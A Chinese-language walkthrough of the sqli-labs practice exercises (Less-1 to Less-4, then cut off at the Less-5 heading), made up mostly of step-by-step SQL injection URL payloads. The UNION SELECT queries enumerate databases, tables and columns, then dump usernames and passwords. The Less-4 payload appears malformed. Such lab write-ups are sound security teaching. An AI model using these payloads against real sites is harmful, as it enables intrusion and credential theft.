1、Less-1
From:https://blog.csdn.net/weixin_45728976/article/details/103932264
基于GET的单引号的字符型
(1)注入字符的判断
?id=1

于是尝试用'进行注入
?id=1' and 1=1 --+将单引号闭合实现and 1=1逻辑判断,--+注释后面的单引号

(2)确定注入字符后,对字段进行判断order by
?id=1' order by 4--+发现字段为4时开始报错,可得一共有三个字段
(3)判断数据的注入点
?id=-1' union select 1,2,3--+

(4)数据库名信息收集
?id=-1' union select 1,database(),user()--+

(5)查找security数据库下表的信息
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(6)查找users表下列的信息
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

(7)查询password列下的信息
?id=-1' union select 1,2,group_concat(password) from users --+

2、Less2
基于GET的整型
(1)注入字符判断
?id=1 and 1=1在返回的语句中可以发现是整型

(2)字段判断order by
?id=1 order by 4可知一共有三个字段

(3)注入点判断
?id=-1 union select 1,2,3这里注入点的判断需要报错,可知2,3为注入点

(4)数据库信息查询
?id=-1 union select 1,database(),user()

(5)在security数据库下的表信息查询
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

(6)查询users表下的列信息
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

(7)查询users表下password列下的password、username
?id=-1 union select 1,group_concat(username),group_concat(password) from users

3、Less3
基于GET的')的字符型
?id=1 and 1=1可以发现是单引号和括号的组合字符

于是用?id=1') and 1=1%23进行绕过,这里是GET型参数因此无法用#号,因此可以用#的URL编码%23进行注释

接下来再用基本方法查询即可
4、Less4
基于GET的双引号和括号字符型
?id=1 and 1=1

?id=1'') and 1=1--+
5、Less5
基于GET的单引号错误回显注入